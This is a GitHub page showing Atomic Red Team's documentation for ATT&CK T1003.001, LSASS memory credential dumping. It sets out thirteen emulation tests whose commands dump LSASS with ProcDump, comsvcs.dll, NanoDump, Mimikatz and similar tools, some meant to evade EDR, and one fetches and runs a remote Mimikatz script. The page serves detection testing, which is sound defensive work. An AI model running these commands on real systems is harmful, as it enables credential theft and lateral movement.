Files

987e3ca

Go to file

- .github
- atomic_red_team
- atomics
  - Indexes
  - T1003.001
    - src
    - T1003.001.md
    - T1003.001.yaml
  - T1003.002
  - T1003.003
  - T1003.004
  - T1003.005
  - T1003.006
  - T1003.007
  - T1003.008
  - T1003
  - T1005
  - T1006
  - T1007
  - T1010
  - T1012
  - T1014
  - T1016
  - T1018
  - T1020
  - T1021.001
  - T1021.002
  - T1021.003
  - T1021.005
  - T1021.006
  - T1027.001
  - T1027.002
  - T1027.004
  - T1027.006
  - T1027
  - T1030

atomic-red-team / atomics / T1003.001 / T1003.001.md

Atomic Red Team doc generat... Generated docs from job=generate-doc... 8b50a4f · last year History

Preview Code Blame 704 lines (407 loc) · 22.6 KB Raw

T1003.001 - OS Credential Dumping: LSASS Memory

Description from ATT&CK

> Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement] (https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material] (https://attack.mitre.org/techniques/T1550).
> As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
>
> For example, on the target host use procdump:
>
> - `procdump -ma lsass.exe lsass_dump`
>
> Locally, mimikatz can be run using:
>
> - `sekurlsa::Minidump lsassdump.dmp`
> - `sekurlsa::logonPasswords`
>
> Built-in Windows tools such as comsvcs.dll can also be used:
>
> - `rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID  lsass.dmp full` (Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)
>
> Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` and `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages`. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
>
> The following SSPs can be used to access credentials:
>
> - Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
> - Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL)

- T1033
- T1036.003
- T1036.004
- T1036.005
- T1036.006
- T1036

> exchanges.(Citation: TechNet Blogs Credential Protection)
> - Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
> - CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)

Atomic Tests

- Atomic Test #1 - Dump LSASS.exe Memory using ProcDump
- Atomic Test #2 - Dump LSASS.exe Memory using comsvcs.dll
- Atomic Test #3 - Dump LSASS.exe Memory using direct system calls and API unhooking
- Atomic Test #4 - Dump LSASS.exe Memory using NanoDump
- Atomic Test #5 - Dump LSASS.exe Memory using Windows Task Manager
- Atomic Test #6 - Offline Credential Theft With Mimikatz
- Atomic Test #7 - LSASS read with pypykatz
- Atomic Test #8 - Dump LSASS.exe Memory using Out-Minidump.ps1
- Atomic Test #9 - Create Mini Dump of LSASS.exe using ProcDump
- Atomic Test #10 - Powershell Mimikatz
- Atomic Test #11 - Dump LSASS with createdump.exe from .Net v5
- Atomic Test #12 - Dump LSASS.exe using imported Microsoft DLLs
- Atomic Test #13 - Dump LSASS.exe using lolbin rdrleakdiag.exe

Atomic Test #1 - Dump LSASS.exe Memory using ProcDump

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump.

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the get-prereq_commands to download and install the ProcDump tool first.

Supported Platforms: Windows

auto_generated_guid: 0be2230c-9ab3-4ac2-8826-3199b9a0ebf8

Inputs:

Name	Description	Type	Default Value
output_file	Path where resulting dump should be placed	path	C:\Windows\Temp\lsass_dump.dmp
procdump_exe	Path of Procdump executable	path	PathToAtomicsFolder\..\ExternalPayloads\procd

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
```

Cleanup Commands:

```
del "#{output_file}" >nul 2> nul
```

Dependencies: Run with `powershell`!

Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})

Check Prereq Commands:

```
if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -Err
Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "P
New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe
```

Atomic Test #2 - Dump LSASS.exe Memory using comsvcs.dll

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.

Supported Platforms: Windows

auto_generated_guid: 2536dee2-12fb-459a-8c37-971844fa73be

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDu
```

Cleanup Commands:

```
Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore
```

Atomic Test #3 - Dump LSASS.exe Memory using direct system calls and API unhooking

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. https://github.com/outflanknl/Dumpert https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ Upon successful execution, you should see the following file created C:\windows\temp\dumpert.dmp.

If you see a message saying "The system cannot find the path specified.", try using the get-prereq_commands to download the tool first.

Supported Platforms: Windows

auto_generated_guid: 7ae7102c-a099-45c8-b985-4c7a2d05790d

Inputs:

Name	Description	Type	Default Value
dumpert_exe	Path of Dumpert executable	path	PathToAtomicsFolder\..\ExternalPayloads\Outflar Dumpert.exe

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
"#{dumpert_exe}"
```

Cleanup Commands:

```
del C:\windows\temp\dumpert.dmp >nul 2> nul
```

Dependencies: Run with `powershell`!

Description: Dumpert executable must exist on disk at specified location (#{dumpert_exe})

Check Prereq Commands:

```
if (Test-Path "#{dumpert_exe}") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
New-Item -ItemType Directory (Split-Path "#{dumpert_exe}") -Force | Out-
Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9
```

Atomic Test #4 - Dump LSASS.exe Memory using NanoDump

The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.

https://github.com/helpsystems/nanodump

Upon successful execution, you should find the nanondump.dmp file in the temp directory

Supported Platforms: Windows

auto_generated_guid: dddd4aca-bbed-46f0-984d-e4c5971c51ea

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
%temp%\nanodump.x64.exe -w "%temp%\nanodump.dmp"
```

Cleanup Commands:

```
del "%temp%\nanodump.dmp" >nul 2> nul
```

Dependencies: Run with `powershell`!

Description: NanoDump executable must exist on disk at specified location (PathToAtomicsFolder..\ExternalPayloads\nanodump.x64.exe)

Check Prereq Commands:

```
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe)
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -Err
Invoke-WebRequest "https://github.com/helpsystems/nanodump/raw/84db0c173
```

Atomic Test #5 - Dump LSASS.exe Memory using Windows Task Manager

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.

Supported Platforms: Windows

auto_generated_guid: dea6c349-f1c6-44f3-87a1-1ed33a59a607

Run it with these steps!

1. Open Task Manager: On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking on the task bar and selecting "Task Manager".

2. Select lsass.exe: If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe and select it for manipulation.

3. Dump lsass.exe memory: Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file.

Atomic Test #6 - Offline Credential Theft With Mimikatz

The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.

Supported Platforms: Windows

auto_generated_guid: 453acf13-1dbd-47d7-b28a-172ce9228023

Inputs:

Name	Description	Type	Default Value
input_file	Path of the Lsass dump	path	%tmp%\lsass.DMP

mimikatz_exe	Path of the Mimikatz binary	string	PathToAtomicsFolder\..\ExternalPayloads\x64\m

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
"#{mimikatz_exe}" "sekurlsa::minidump #{input_file}" "sekurlsa::logonpas
```

Dependencies: Run with `powershell`!

Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})

Check Prereq Commands:

```
if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicred
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.bro
$basePath = Split-Path "#{mimikatz_exe}" | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
```

Description: Lsass dump must exist at specified location (#{input_file})

Check Prereq Commands:

```
cmd /c "if not exist #{input_file} (exit /b 1)"
```

Get Prereq Commands:

```
Write-Host "Create the lsass dump manually using the steps in the previo
```

Atomic Test #7 - LSASS read with pypykatz

Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

Successful execution of this test will display multiple usernames and passwords/hashes to the screen.

Supported Platforms: Windows

auto_generated_guid: c37bc535-5c62-4195-9cc3-0517673171d8

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
pypykatz live lsa
```

Dependencies: Run with `command_prompt`!

Description: Computer must have python 3 installed

Check Prereq Commands:

```
py -3 --version >nul 2>&1
exit /b %errorlevel%
```

Get Prereq Commands:

```
echo "Python 3 must be installed manually"
```

Description: Computer must have pip installed

Check Prereq Commands:

```
py -3 -m pip --version >nul 2>&1
exit /b %errorlevel%
```

Get Prereq Commands:

```
echo "PIP must be installed manually"
```

Description: pypykatz must be installed and part of PATH

Check Prereq Commands:

```
pypykatz -h >nul 2>&1
exit /b %errorlevel%
```

Get Prereq Commands:

```
pip install pypykatz
```

Atomic Test #8 - Dump LSASS.exe Memory using Out-Minidump.ps1

The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp.

Author of Out-Minidump: Matthew Graeber (@mattifestation)

Supported Platforms: Windows

auto_generated_guid: 6502c8f0-b775-4dbd-9193-1298f56b6781

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -Err
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
```

Cleanup Commands:

```
Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore
```

Atomic Test #9 - Create Mini Dump of LSASS.exe using ProcDump

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the get-prereq_commands to download and install the ProcDump tool first.

Supported Platforms: Windows

auto_generated_guid: 7cede33f-0acd-44ef-9774-15511300b24b

Inputs:

Name	Description	Type	Default Value
output_file	Path where resulting dump should be placed	path	C:\Windows\Temp\lsass_dump.dmp
procdump_exe	Path of Procdump executable	path	PathToAtomicsFolder\..\ExternalPayloads\procd

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
```

Cleanup Commands:

```
del "#{output_file}" >nul 2> nul
```

Dependencies: Run with `powershell`!

Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})

Check Prereq Commands:

```
if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -Err
Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "P
New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe
```

Atomic Test #10 - Powershell Mimikatz

Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an "access denied" error which results when Anti-Virus blocks execution. Or, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen "ERROR kuhl_m_sekurlsa_acquireLSA"

Supported Platforms: Windows

auto_generated_guid: 66fb0bc1-3c3f-47e9-a298-550ecfefacbc

Inputs:

Name	Description	Type	
remote_script	URL to a remote Mimikatz script that dumps credentials	url	https://raw.githubusercontent.com/PowerShellM Mimikatz.ps1

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invok
```

Atomic Test #11 - Dump LSASS with createdump.exe from .Net v5

Use createdump executable from .NET to create an LSASS dump.

Reference

Supported Platforms: Windows

auto_generated_guid: 9d0072c8-7cca-45c4-bd14-f852cfa35cf0

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETC
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
```

Cleanup Commands:

```
Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: .Net v5 must be installed

Check Prereq Commands:

```
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETC
if ($exePath -and (Test-Path $exePath)) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
winget install Microsoft.DotNet.DesktopRuntime.5 --accept-source-agreeme
```

Atomic Test #12 - Dump LSASS.exe using imported Microsoft DLLs

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.

Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.

Supported Platforms: Windows

auto_generated_guid: 86fc3f40-237f-4701-b155-81c01c48d697

Inputs:

Name	Description	Type	Default Value
xordump_exe	Path to xordump	path	C:\Windows\Temp\xordump.exe
output_file	Path where resulting dump should be placed	path	C:\Windows\Temp\lsass-xordump.t1003.001.dmp

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
#{xordump_exe} -out #{output_file} -x 0x41
```

Cleanup Commands:

```
Remove-Item #{output_file} -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: Computer must have xordump.exe

Check Prereq Commands:

```
if (Test-Path '#{xordump_exe}') {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/down
```

Atomic Test #13 - Dump LSASS.exe using lolbin rdrleakdiag.exe

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe.

Upon successful execution, you should see the following files created, $env:TEMP\minidump_.dmp and $env:TEMP\results_.hlk.

Supported Platforms: Windows

auto_generated_guid: 47a539d1-61b9-4364-bf49-a68bc2a95ef0

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe")
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Ite
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakd
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /full
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $
```

Cleanup Commands:

```
Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAct
```